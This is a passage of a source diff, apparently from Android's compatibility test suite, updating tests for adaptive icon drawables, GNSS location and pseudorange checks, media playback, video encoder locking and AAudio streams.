         final Canvas can_test = new Canvas(bm_test);
 
-        mIconDrawable.setBounds(left, top, right, bottom);
+        iconDrawable.setBounds(left, top, right, bottom);
         can_test.translate(-left, -top);
-        mIconDrawable.draw(can_test);
+        iconDrawable.draw(can_test);
         can_test.translate(left, top);
 
 
         bm_org.compress(Bitmap.CompressFormat.PNG, 100,
-            new FileOutputStream(new File(mDir, "adaptive-bm-original.png")));
+            new FileOutputStream(new File(dir, "adaptive-bm-original.png")));
         bm_test.compress(Bitmap.CompressFormat.PNG, 100,
-            new FileOutputStream(new File(mDir, "adaptive-bm-test.png")));
+            new FileOutputStream(new File(dir, "adaptive-bm-test.png")));
         Region region = new Region(new Rect(0, 0, width, height));
 
         Path circle = new Path();
@@ -99,10 +198,134 @@
         region.setPath(circle, region);
         if (!equalBitmaps(bm_test, bm_org, region)) {
             findBitmapDifferences(bm_test, bm_org);
-            fail("bm differs, check " + mDir);
+            fail("bm differs, check " + dir);
         }
     }
 
+    @Test
+    public void testSetVisible() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        assertFalse(iconDrawable.setVisible(true, true)); /* unchanged */
+        assertTrue(iconDrawable.setVisible(false, true)); /* changed */
+        assertFalse(iconDrawable.setVisible(false, true)); /* unchanged */
+    }
+
+    @Test
+    public void testSetAlpha() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        iconDrawable.setAlpha(1);
+        iconDrawable.setAlpha(-1);
+
+        iconDrawable.setAlpha(0);
+        iconDrawable.setAlpha(Integer.MAX_VALUE);
+        iconDrawable.setAlpha(Integer.MIN_VALUE);
+    }
+
+    @Test
+    public void testSetColorFilter() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        ColorFilter cf = new ColorFilter();
+        iconDrawable.setColorFilter(cf);
+
+        // input null as param
+        iconDrawable.setColorFilter(null);
+        // expected, no Exception thrown out, test success
+    }
+
+    @Test
+    public void testGetOpacity() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        iconDrawable.setOpacity(PixelFormat.OPAQUE);
+        assertEquals(PixelFormat.OPAQUE, iconDrawable.getOpacity());
+
+        iconDrawable.setOpacity(PixelFormat.TRANSPARENT);
+        assertEquals(PixelFormat.TRANSPARENT, iconDrawable.getOpacity());
+    }
+
+    @Test
+    public void testIsStateful() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        assertFalse(iconDrawable.isStateful());
+
+        iconDrawable = new AdaptiveIconDrawable(new StateListDrawable(), new ColorDrawable(Color.RED));
+        assertTrue(iconDrawable.isStateful());
+    }
+
+
+    @Test
+    public void testGetConstantState() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        ConstantState constantState = iconDrawable.getConstantState();
+        assertNotNull(constantState);
+    }
+
+    @Test
+    public void testMutate() {
+        // Obtain the first instance, then mutate and modify a property held by
+        // constant state. If mutate() works correctly, the property should not
+        // be modified on the second or third instances.
+        Resources res = InstrumentationRegistry.getTargetContext().getResources();
+        AdaptiveIconDrawable first = (AdaptiveIconDrawable) res.getDrawable(R.drawable.adaptive_icon_drawable, null);
+        AdaptiveIconDrawable pre = (AdaptiveIconDrawable) res.getDrawable(R.drawable.adaptive_icon_drawable, null);
+
+        first.mutate().setBounds(0, 0, 100, 100);
+
+        assertEquals("Modified first loaded instance", 100, first.getBounds().width());
+        assertEquals("Did not modify pre-mutate() instance", 0, pre.getBounds().width());
+
+        AdaptiveIconDrawable post = (AdaptiveIconDrawable) res.getDrawable(R.drawable.adaptive_icon_drawable, null);
+
+        assertEquals("Did not modify post-mutate() instance", 0, post.getBounds().width());
+    }
+
+    @Test
+    public void testGetForegroundBackground() {
+        Context context = InstrumentationRegistry.getTargetContext();
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        Drawable fgDrawable = iconDrawable.getForeground();
+        Drawable bgDrawable = iconDrawable.getBackground();
+        assertTrue("Foreground layer is color drawable.", fgDrawable instanceof ColorDrawable);
+        assertTrue("Backgroud layer is color drawable.", bgDrawable instanceof ColorDrawable);
+
+        AdaptiveIconDrawable iconDrawableInflated =
+            (AdaptiveIconDrawable) context.getDrawable(R.drawable.adaptive_icon_drawable);
+        fgDrawable = iconDrawableInflated.getForeground();
+        bgDrawable = iconDrawableInflated.getBackground();
+        assertTrue("Foreground layer is color drawable.", fgDrawable instanceof BitmapDrawable);
+        assertTrue("Backgroud layer is color drawable.", bgDrawable instanceof BitmapDrawable);
+    }
+
+    @Test
+    public void testGetIntrinsicWidth() {
+        Context context = InstrumentationRegistry.getTargetContext();
+        AdaptiveIconDrawable iconDrawableInflated =
+            (AdaptiveIconDrawable) context.getDrawable(R.drawable.adaptive_icon_drawable);
+        int fgWidth = iconDrawableInflated.getForeground().getIntrinsicWidth();
+        int bgWidth = iconDrawableInflated.getBackground().getIntrinsicWidth();
+        float iconIntrinsicWidth = Math.max(fgWidth, bgWidth) / (1 + 2 * AdaptiveIconDrawable.getExtraInsetFraction());
+        assertEquals("Max intrinsic width of the layers should be icon's intrinsic width",
+            (int) iconIntrinsicWidth, iconDrawableInflated.getIntrinsicWidth());
+    }
+
+    @Test
+    public void testGetIntrinsicHeight() {
+        Context context = InstrumentationRegistry.getTargetContext();
+        AdaptiveIconDrawable iconDrawableInflated =
+            (AdaptiveIconDrawable) context.getDrawable(R.drawable.adaptive_icon_drawable);
+        int fgWidth = iconDrawableInflated.getForeground().getIntrinsicHeight();
+        int bgWidth = iconDrawableInflated.getBackground().getIntrinsicHeight();
+        float iconIntrinsicHeight = Math.max(fgWidth, bgWidth) / (1 + 2 * AdaptiveIconDrawable.getExtraInsetFraction());
+        assertEquals("Max intrinsic height of the layers should be icon's intrinsic height",
+            (int) iconIntrinsicHeight, iconDrawableInflated.getIntrinsicHeight());
+    }
+
     //
     // Utils
     //
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
index ec81980..7ff00b0 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
@@ -88,7 +88,7 @@
   // https://issuetracker.google.com/37428428
   // It's okay to not be able to load a library because it's for another
   // architecture (typically on an x86 device, when we come across an arm library).
-  return err.find("dlopen failed: library \"" + library + "\" has unexpected e_machine: ") == 0;
+  return err.find("dlopen failed: \"" + library + "\" has unexpected e_machine: ") == 0;
 }
 
 static bool check_lib(const std::string& path,
diff --git a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
index 5fa09c2..fe4b1dd 100644
--- a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
@@ -37,6 +37,7 @@
   private TestLocationListener mLocationListener;
   private static final int LOCATION_UNCERTIANTY_MIN_YEAR = 2017;
   private boolean extendedLocationAccuracyExpected = false;
+  private static final double SPEED_EPSILON = 0.001;
 
   @Override
   protected void setUp() throws Exception {
@@ -67,7 +68,7 @@
     mTestLocationManager.requestLocationUpdates(mLocationListener);
     boolean success = mLocationListener.await();
     SoftAssert.failOrWarning(isMeasurementTestStrict(),
-        "Time elapsed without getting the GPS locations."
+        "Time elapsed without getting the GNSS locations."
             + " Possibly, the test has been run deep indoors."
             + " Consider retrying test outdoors.",
         success);
@@ -89,24 +90,28 @@
           location.getAccuracy() > 0);
     }
 
-    if(!extendedLocationAccuracyExpected) {
+    if (!extendedLocationAccuracyExpected) {
       return;
     }
     Log.i(TAG, "This is a device from 2017 or later.");
 
-    softAssert.assertTrue("All GPS locations generated by the LocationManager "
-        + "must have a bearing accuracy.", location.hasBearingAccuracy());
-    if (location.hasBearingAccuracy()) {
-      softAssert.assertTrue("Bearing Accuracy should be greater than 0.",
-          location.getBearingAccuracyDegrees() > 0);
+    // When speed = 0, the Qualcomm HAL is not filling bearing accuracy.
+    if (location.hasSpeed() && location.getSpeed() > SPEED_EPSILON) {
+      softAssert.assertTrue("When speed is greater than 0, all GNSS locations generated by "
+          + "the LocationManager must have bearing accuracies.", location.hasBearingAccuracy());
+      if (location.hasBearingAccuracy()) {
+        softAssert.assertTrue("Bearing Accuracy should be greater than 0.",
+            location.getBearingAccuracyDegrees() > 0);
+      }
     }
-    softAssert.assertTrue("All GPS locations generated by the LocationManager "
+
+    softAssert.assertTrue("All GNSS locations generated by the LocationManager "
         + "must have a speed accuracy.", location.hasSpeedAccuracy());
     if (location.hasSpeedAccuracy()) {
       softAssert.assertTrue("Speed Accuracy should be greater than 0.",
           location.getSpeedAccuracyMetersPerSecond() > 0);
     }
-    softAssert.assertTrue("All GPS locations generated by the LocationManager "
+    softAssert.assertTrue("All GNSS locations generated by the LocationManager "
         + "must have a vertical accuracy.", location.hasVerticalAccuracy());
     if (location.hasVerticalAccuracy()) {
       softAssert.assertTrue("Vertical Accuracy should be greater than 0.",
@@ -122,7 +127,7 @@
     mTestLocationManager.requestLocationUpdates(mLocationListener);
     boolean success = mLocationListener.await();
     SoftAssert.failOrWarning(isMeasurementTestStrict(),
-        "Time elapsed without getting the GPS locations."
+        "Time elapsed without getting the GNSS locations."
             + " Possibly, the test has been run deep indoors."
             + " Consider retrying test outdoors.",
         success);
@@ -139,6 +144,9 @@
     // For the altitude: the unit is meter
     // The lowest exposed land on Earth is at the Dead Sea shore, at -413 meters.
     // Whilst University of Tokyo Atacama Obsevatory is on 5,640m above sea level.
+
+    softAssert.assertTrue("All GNSS locations generated by the LocationManager "
+        + "must have altitudes.", location.hasAltitude());
     if(location.hasAltitude()) {
       softAssert.assertTrue("Altitude should be greater than -500 (meters).",
           location.getAltitude() >= -500);
@@ -148,9 +156,14 @@
 
     // It is guaranteed to be in the range [0.0, 360.0] if the device has a bearing.
     // The API will return 0.0 if there is no bearing
-    if(location.hasBearing()) {
-      softAssert.assertTrue("Bearing should be in the range of [0.0, 360.0]",
-          location.getBearing() >= 0 && location.getBearing() <= 360);
+    // When speed = 0, the Qualcomm HAL is not filling the bearing.
+    if (location.hasSpeed() && location.getSpeed() > SPEED_EPSILON) {
+      softAssert.assertTrue("When speed is greater than 0, all GNSS locations generated by "
+        + "the LocationManager must have bearings.", location.hasBearing());
+      if(location.hasBearing()) {
+        softAssert.assertTrue("Bearing should be in the range of [0.0, 360.0]",
+            location.getBearing() >= 0 && location.getBearing() <= 360);
+      }
     }
 
     softAssert.assertTrue("ElapsedRaltimeNanos should be great than 0.",
@@ -165,11 +178,15 @@
     softAssert.assertTrue("Latitude should be in the range of [-90.0, 90.0] degrees",
         location.getLatitude() >= -90 && location.getLatitude() <= 90);
 
+    softAssert.assertTrue("All GNSS locations generated by the LocationManager "
+        + "must have speeds.", location.hasSpeed());
+
     // For the speed, during the cts test device shouldn't move faster than 1m/s
     if(location.hasSpeed()) {
       softAssert.assertTrue("In the test enviorment, speed should be in the range of [0, 1] m/s",
           location.getSpeed() >= 0 && location.getSpeed() <= 1);
     }
+
   }
 
 }
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
index 491b69f..a590681 100644
--- a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
@@ -25,6 +25,7 @@
 import java.util.ArrayList;
 import java.util.Collection;
 import java.util.List;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Test computing and verifying the pseudoranges based on the raw measurements
@@ -32,12 +33,27 @@
  */
 public class GnssPseudorangeVerificationTest extends GnssTestCase {
   private static final String TAG = "GnssPseudorangeValTest";
-  private static final int LOCATION_TO_COLLECT_COUNT = 20;
-  private static final int MEASUREMENT_EVENTS_TO_COLLECT_COUNT = 50;
+  private static final int LOCATION_TO_COLLECT_COUNT = 5;
+  private static final int MEASUREMENT_EVENTS_TO_COLLECT_COUNT = 10;
   private static final int MIN_SATELLITES_REQUIREMENT = 4;
   private static final double SECONDS_PER_NANO = 1.0e-9;
-  private static final double PSEUDORANGE_THRESHOLD_IN_SEC = 0.018;
-  private static final double PSEUDORANGE_THRESHOLD_BEIDOU_QZSS_IN_SEC = 0.073;
+  // GPS/GLONASS: according to http://cdn.intechopen.com/pdfs-wm/27712.pdf, the pseudorange in time
+  // is 65-83 ms, which is 18 ms range.
+  // GLONASS: orbit is a bit closer than GPS, so we add 0.003ms to the range, hence deltaiSeconds
+  // should be in the range of [0.0, 0.021] seconds.
+  // QZSS and BEIDOU: they have higher orbit, which will result in a small svTime, the deltai can be
+  // calculated as follows:
+  // assume a = QZSS/BEIDOU orbit Semi-Major Axis(42,164km for QZSS);
+  // b = GLONASS orbit Semi-Major Axis (25,508km);
+  // c = Speed of light (299,792km/s);
+  // e = earth radius (6,378km);
+  // in the extremely case of QZSS is on the horizon and GLONASS is on the 90 degree top
+  // max difference should be (sqrt(a^2-e^2) - (b-e))/c,
+  // which is around 0.076s.
+  private static final double PSEUDORANGE_THRESHOLD_IN_SEC = 0.021;
+  // Geosync constellations have a longer range vs typical MEO orbits
+  // that are the short end of the range.
+  private static final double PSEUDORANGE_THRESHOLD_BEIDOU_QZSS_IN_SEC = 0.076;
 
   private TestGnssMeasurementListener mMeasurementListener;
   private TestLocationListener mLocationListener;
@@ -127,7 +143,7 @@
 
     SoftAssert.failOrWarning(isMeasurementTestStrict(),
         "Should have at least one GnssMeasurementEvent with at least 4"
-            + "GnssMeasurement.  If failed, retry near window or outdoors?",
+            + "GnssMeasurement. If failed, retry near window or outdoors?",
         hasEventWithEnoughMeasurements);
 
     softAssert.assertAll();
@@ -157,10 +173,14 @@
    */
   private void validatePseudorange(Collection<GnssMeasurement> measurements,
       SoftAssert softAssert, long timeInNs) {
-    long largestReceivedSvTimeNanos = 0;
+    long largestReceivedSvTimeNanosTod = 0;
+    // closest satellite has largest time (closest to now), as of nano secs of the day
+    // so the largestReceivedSvTimeNanosTod will be the svTime we got from one of the GPS/GLONASS sv
     for(GnssMeasurement measurement : measurements) {
-      if (largestReceivedSvTimeNanos < measurement.getReceivedSvTimeNanos()) {
-        largestReceivedSvTimeNanos = measurement.getReceivedSvTimeNanos();
+      long receivedSvTimeNanosTod =  measurement.getReceivedSvTimeNanos()
+                                        % TimeUnit.DAYS.toNanos(1);
+      if (largestReceivedSvTimeNanosTod < receivedSvTimeNanosTod) {
+        largestReceivedSvTimeNanosTod = receivedSvTimeNanosTod;
       }
     }
     for (GnssMeasurement measurement : measurements) {
@@ -171,12 +191,10 @@
           || constellationType == GnssStatus.CONSTELLATION_QZSS) {
         threshold = PSEUDORANGE_THRESHOLD_BEIDOU_QZSS_IN_SEC;
       }
-      double deltaiNanos = largestReceivedSvTimeNanos
-                          - measurement.getReceivedSvTimeNanos();
+      double deltaiNanos = largestReceivedSvTimeNanosTod
+                          - (measurement.getReceivedSvTimeNanos() % TimeUnit.DAYS.toNanos(1));
       double deltaiSeconds = deltaiNanos * SECONDS_PER_NANO;
-      // according to http://cdn.intechopen.com/pdfs-wm/27712.pdf
-      // the pseudorange in time is 65-83 ms, which is 18 ms range,
-      // deltaiSeconds should be in the range of [0.0, 0.018] seconds
+
       softAssert.assertTrue("deltaiSeconds in Seconds.",
           timeInNs,
           "0.0 <= deltaiSeconds <= " + String.valueOf(threshold),
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
index 82b992d..d2b7f23 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
@@ -194,6 +194,10 @@
         playVideoWithRetries(path, null, null, playTime);
     }
 
+    protected void playLiveAudioOnlyTest(String path, int playTime) throws Exception {
+        playVideoWithRetries(path, -1, -1, playTime);
+    }
+
     protected void playVideoTest(String path, int width, int height) throws Exception {
         playVideoWithRetries(path, width, height, 0);
     }
@@ -265,6 +269,9 @@
         final float leftVolume = 0.5f;
         final float rightVolume = 0.5f;
 
+        boolean audioOnly = (width != null && width.intValue() == -1) ||
+                (height != null && height.intValue() == -1);
+
         mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
         mMediaPlayer.setScreenOnWhilePlaying(true);
         mMediaPlayer.setOnVideoSizeChangedListener(new MediaPlayer.OnVideoSizeChangedListener() {
@@ -308,8 +315,10 @@
         }
 
         mMediaPlayer.start();
-        mOnVideoSizeChangedCalled.waitForSignal();
-        mOnVideoRenderingStartCalled.waitForSignal();
+        if (!audioOnly) {
+            mOnVideoSizeChangedCalled.waitForSignal();
+            mOnVideoRenderingStartCalled.waitForSignal();
+        }
         mMediaPlayer.setVolume(leftVolume, rightVolume);
 
         // waiting to complete
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
index 6b2a0b5..ab54e75 100644
--- a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
@@ -229,7 +229,7 @@
         String testUrl = (mInputUrl != null) ? mInputUrl : defaultUrl;
 
         // Play stream for 60 seconds
-        playLiveVideoTest(
+        playLiveAudioOnlyTest(
                 testUrl,
                 60 * 1000);
     }
diff --git a/tests/tests/media/src/android/media/cts/VideoEncoderTest.java b/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
index acf7dac..8dbdefb 100644
--- a/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
+++ b/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
@@ -193,6 +193,7 @@
         protected boolean mEncoderIsActive;
         protected boolean mEncodeOutputFormatUpdated;
         protected final Object mCondition = new Object();
+        protected final Object mCodecLock = new Object();
 
         protected MediaFormat mDecFormat;
         protected MediaCodec mDecoder, mEncoder;
@@ -300,13 +301,15 @@
         }
 
         protected void close() {
-            if (mDecoder != null) {
-                mDecoder.release();
-                mDecoder = null;
-            }
-            if (mEncoder != null) {
-                mEncoder.release();
-                mEncoder = null;
+            synchronized (mCodecLock) {
+                if (mDecoder != null) {
+                    mDecoder.release();
+                    mDecoder = null;
+                }
+                if (mEncoder != null) {
+                    mEncoder.release();
+                    mEncoder = null;
+                }
             }
             if (mExtractor != null) {
                 mExtractor.release();
@@ -406,10 +409,33 @@
             mBitRate = bitRate;
         }
 
+        @Override
+        public void onInputBufferAvailable(MediaCodec mediaCodec, int ix) {
+            synchronized (mCodecLock) {
+                if (mEncoder != null && mDecoder != null) {
+                    onInputBufferAvailableLocked(mediaCodec, ix);
+                }
+            }
+        }
+
+        @Override
+        public void onOutputBufferAvailable(
+                MediaCodec mediaCodec, int ix, BufferInfo info) {
+            synchronized (mCodecLock) {
+                if (mEncoder != null && mDecoder != null) {
+                    onOutputBufferAvailableLocked(mediaCodec, ix, info);
+                }
+            }
+        }
+
         public abstract boolean processLoop(
                 String path, String outMime, String videoEncName,
                 int width, int height, boolean optional);
-    };
+        protected abstract void onInputBufferAvailableLocked(
+                MediaCodec mediaCodec, int ix);
+        protected abstract void onOutputBufferAvailableLocked(
+                MediaCodec mediaCodec, int ix, BufferInfo info);
+    }
 
     class VideoProcessor extends VideoProcessorBase {
         private static final String TAG = "VideoProcessor";
@@ -499,7 +525,7 @@
         }
 
         @Override
-        public void onInputBufferAvailable(MediaCodec mediaCodec, int ix) {
+        public void onInputBufferAvailableLocked(MediaCodec mediaCodec, int ix) {
             if (mediaCodec == mDecoder) {
                 // fill input buffer from extractor
                 fillDecoderInputBuffer(ix);
@@ -517,7 +543,7 @@
         }
 
         @Override
-        public void onOutputBufferAvailable(
+        public void onOutputBufferAvailableLocked(
                 MediaCodec mediaCodec, int ix, BufferInfo info) {
             if (mediaCodec == mDecoder) {
                 if (DEBUG) Log.v(TAG, "decoder received output #" + ix
@@ -747,7 +773,7 @@
         }
 
         @Override
-        public void onInputBufferAvailable(MediaCodec mediaCodec, int ix) {
+        public void onInputBufferAvailableLocked(MediaCodec mediaCodec, int ix) {
             if (mediaCodec == mDecoder) {
                 // fill input buffer from extractor
                 fillDecoderInputBuffer(ix);
@@ -757,7 +783,7 @@
         }
 
         @Override
-        public void onOutputBufferAvailable(
+        public void onOutputBufferAvailableLocked(
                 MediaCodec mediaCodec, int ix, BufferInfo info) {
             if (mediaCodec == mDecoder) {
                 if (DEBUG) Log.v(TAG, "decoder received output #" + ix
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio.cpp b/tests/tests/nativemedia/aaudio/src/test_aaudio.cpp
index ab2cc55..15c3bb1 100644
--- a/tests/tests/nativemedia/aaudio/src/test_aaudio.cpp
+++ b/tests/tests/nativemedia/aaudio/src/test_aaudio.cpp
@@ -17,6 +17,8 @@
 #define LOG_NDEBUG 0
 #define LOG_TAG "AAudioTest"
 
+#include <memory>
+
 #include <aaudio/AAudio.h>
 #include <android/log.h>
 #include <gtest/gtest.h>
@@ -24,111 +26,182 @@
 #include "test_aaudio.h"
 #include "utils.h"
 
-// Test Writing to an AAudioStream
-static void runtest_aaudio_stream(aaudio_sharing_mode_t requestedSharingMode) {
-    StreamBuilderHelper helper{requestedSharingMode};
+static std::string getTestName(const ::testing::TestParamInfo<aaudio_sharing_mode_t>& info) {
+    return sharingModeToString(info.param);
+}
 
-    int writeLoops = 0;
+template<typename T>
+class AAudioStreamTest : public ::testing::TestWithParam<aaudio_sharing_mode_t> {
+  protected:
+    AAudioStreamBuilder* builder() const { return mHelper->builder(); }
+    AAudioStream* stream() const { return mHelper->stream(); }
+    const StreamBuilderHelper::Parameters& actual() const { return mHelper->actual(); }
+    int32_t framesPerBurst() const { return mHelper->framesPerBurst(); }
 
-    int32_t framesWritten = 0;
-    int64_t framesTotal = 0;
-    int64_t aaudioFramesRead = 0;
-    int64_t aaudioFramesRead1 = 0;
-    int64_t aaudioFramesRead2 = 0;
-    int64_t aaudioFramesWritten = 0;
+    std::unique_ptr<T> mHelper;
+    bool mSetupSuccesful = false;
+    std::unique_ptr<int16_t[]> mData;
+};
 
-    int64_t timeoutNanos;
 
-    aaudio_stream_state_t state = AAUDIO_STREAM_STATE_UNINITIALIZED;
+class AAudioInputStreamTest : public AAudioStreamTest<InputStreamBuilderHelper> {
+  protected:
+    void SetUp() override;
 
-    helper.initBuilder();
+    int32_t mFramesPerRead;
+};
 
-    bool success = false;
-    helper.createAndVerifyStream(&success);
-    if (!success) return;
+void AAudioInputStreamTest::SetUp() {
+    mHelper.reset(new InputStreamBuilderHelper(GetParam()));
+    mHelper->initBuilder();
+    mSetupSuccesful = false;
+    mHelper->createAndVerifyStream(&mSetupSuccesful);
+    if (!mSetupSuccesful) return;
+
+    mFramesPerRead = framesPerBurst();
+    const int32_t framesPerMsec = actual().sampleRate / MILLIS_PER_SECOND;
+    // Some DMA might use very short bursts of 16 frames. We don't need to read such small
+    // buffers. But it helps to use a multiple of the burst size for predictable scheduling.
+    while (mFramesPerRead < framesPerMsec) {
+        mFramesPerRead *= 2;
+    }
+    mData.reset(new int16_t[mFramesPerRead * actual().samplesPerFrame]);
+}
+
+TEST_P(AAudioInputStreamTest, testReading) {
+    if (!mSetupSuccesful) return;
+
+    const int32_t framesToRecord = actual().sampleRate;  // 1 second
+    const int64_t timeoutNanos = 100 * NANOS_PER_MILLISECOND;
+    EXPECT_EQ(0, AAudioStream_getFramesRead(stream()));
+    EXPECT_EQ(0, AAudioStream_getFramesWritten(stream()));
+    mHelper->startStream();
+    for (int32_t framesLeft = framesToRecord; framesLeft > 0; ) {
+        aaudio_result_t result = AAudioStream_read(
+                stream(), &mData[0], std::min(framesToRecord, mFramesPerRead), timeoutNanos);
+        ASSERT_GT(result, 0);
+        framesLeft -= result;
+    }
+    mHelper->stopStream();
+    EXPECT_GE(AAudioStream_getFramesRead(stream()), framesToRecord);
+    EXPECT_GE(AAudioStream_getFramesWritten(stream()), framesToRecord);
+}
+
+INSTANTIATE_TEST_CASE_P(SM, AAudioInputStreamTest,
+        ::testing::Values(AAUDIO_SHARING_MODE_SHARED, AAUDIO_SHARING_MODE_EXCLUSIVE),
+        &getTestName);
+
+
+class AAudioOutputStreamTest : public AAudioStreamTest<OutputStreamBuilderHelper> {
+  protected:
+    void SetUp() override;
+};
+
+void AAudioOutputStreamTest::SetUp() {
+    mHelper.reset(new OutputStreamBuilderHelper(GetParam()));
+    mHelper->initBuilder();
+
+    mSetupSuccesful = false;
+    mHelper->createAndVerifyStream(&mSetupSuccesful);
+    if (!mSetupSuccesful) return;
+
+    // Allocate a buffer for the audio data.
+    // TODO handle possibility of other data formats
+    size_t dataSizeSamples = framesPerBurst() * actual().samplesPerFrame;
+    mData.reset(new int16_t[dataSizeSamples]);
+    memset(&mData[0], 0, dataSizeSamples);
+}
+
+TEST_P(AAudioOutputStreamTest, testWriting) {
+    if (!mSetupSuccesful) return;
 
     // TODO test this on full build
     // ASSERT_NE(AAUDIO_DEVICE_UNSPECIFIED, AAudioStream_getDeviceId(aaudioStream));
 
-    // Allocate a buffer for the audio data.
-    // TODO handle possibility of other data formats
-    ASSERT_TRUE(helper.actual().dataFormat == AAUDIO_FORMAT_PCM_I16);
-    size_t dataSizeSamples = helper.framesPerBurst() * helper.actual().samplesPerFrame;
-    int16_t *data = (int16_t *) calloc(dataSizeSamples, sizeof(int16_t));
-    ASSERT_TRUE(nullptr != data);
-
     // Prime the buffer.
-    timeoutNanos = 0;
+    int32_t framesWritten = 0;
+    int64_t framesTotal = 0;
+    int64_t timeoutNanos = 0;
     do {
         framesWritten = AAudioStream_write(
-                helper.stream(), data, helper.framesPerBurst(), timeoutNanos);
+                stream(), &mData[0], framesPerBurst(), timeoutNanos);
         // There should be some room for priming the buffer.
         framesTotal += framesWritten;
         ASSERT_GE(framesWritten, 0);
-        ASSERT_LE(framesWritten, helper.framesPerBurst());
+        ASSERT_LE(framesWritten, framesPerBurst());
     } while (framesWritten > 0);
     ASSERT_TRUE(framesTotal > 0);
 
+    int writeLoops = 0;
+    int64_t aaudioFramesRead = 0;
+    int64_t aaudioFramesReadPrev = 0;
+    int64_t aaudioFramesReadFinal = 0;
+    int64_t aaudioFramesWritten = 0;
     // Start/write/pause more than once to see if it fails after the first time.
     // Write some data and measure the rate to see if the timing is OK.
     for (int numLoops = 0; numLoops < 2; numLoops++) {
-        helper.startStream();
+        mHelper->startStream();
 
         // Write some data while we are running. Read counter should be advancing.
-        writeLoops = 1 * helper.actual().sampleRate / helper.framesPerBurst(); // 1 second
+        writeLoops = 1 * actual().sampleRate / framesPerBurst(); // 1 second
         ASSERT_LT(2, writeLoops); // detect absurdly high framesPerBurst
-        timeoutNanos = 100 * (NANOS_PER_SECOND * helper.framesPerBurst() /
-                helper.actual().sampleRate); // N bursts
+        timeoutNanos = 100 * (NANOS_PER_SECOND * framesPerBurst() /
+                actual().sampleRate); // N bursts
         framesWritten = 1;
-        aaudioFramesRead = AAudioStream_getFramesRead(helper.stream());
-        aaudioFramesRead1 = aaudioFramesRead;
+        aaudioFramesRead = AAudioStream_getFramesRead(stream());
+        aaudioFramesReadPrev = aaudioFramesRead;
         int64_t beginTime = getNanoseconds(CLOCK_MONOTONIC);
         do {
             framesWritten = AAudioStream_write(
-                    helper.stream(), data, helper.framesPerBurst(), timeoutNanos);
-            ASSERT_EQ(framesWritten, helper.framesPerBurst());
+                    stream(), &mData[0], framesPerBurst(), timeoutNanos);
+            ASSERT_EQ(framesWritten, framesPerBurst());
 
             framesTotal += framesWritten;
-            aaudioFramesWritten = AAudioStream_getFramesWritten(helper.stream());
+            aaudioFramesWritten = AAudioStream_getFramesWritten(stream());
             EXPECT_EQ(framesTotal, aaudioFramesWritten);
 
             // Try to get a more accurate measure of the sample rate.
             if (beginTime == 0) {
-                aaudioFramesRead = AAudioStream_getFramesRead(helper.stream());
-                if (aaudioFramesRead > aaudioFramesRead1) { // is read pointer advancing
+                aaudioFramesRead = AAudioStream_getFramesRead(stream());
+                if (aaudioFramesRead > aaudioFramesReadPrev) { // is read pointer advancing
                     beginTime = getNanoseconds(CLOCK_MONOTONIC);
-                    aaudioFramesRead1 = aaudioFramesRead;
+                    aaudioFramesReadPrev = aaudioFramesRead;
                 }
             }
         } while (framesWritten > 0 && writeLoops-- > 0);
 
-        aaudioFramesRead2 = AAudioStream_getFramesRead(helper.stream());
-        int64_t endTime = getNanoseconds(CLOCK_MONOTONIC);
-        ASSERT_GT(aaudioFramesRead2, 0);
-        EXPECT_GT(aaudioFramesRead2, aaudioFramesRead1);
+        aaudioFramesReadFinal = AAudioStream_getFramesRead(stream());
+        ASSERT_GT(aaudioFramesReadFinal, 0);
+        EXPECT_GT(aaudioFramesReadFinal, aaudioFramesReadPrev);
 
 
         // TODO why is AudioTrack path so inaccurate?
+        /* See b/38268547, there is no way to specify that MMAP mode needs to be used,
+           even EXCLUSIVE mode may fall back to legacy
+        const int64_t endTime = getNanoseconds(CLOCK_MONOTONIC);
         const double rateTolerance = 200.0; // arbitrary tolerance for sample rate
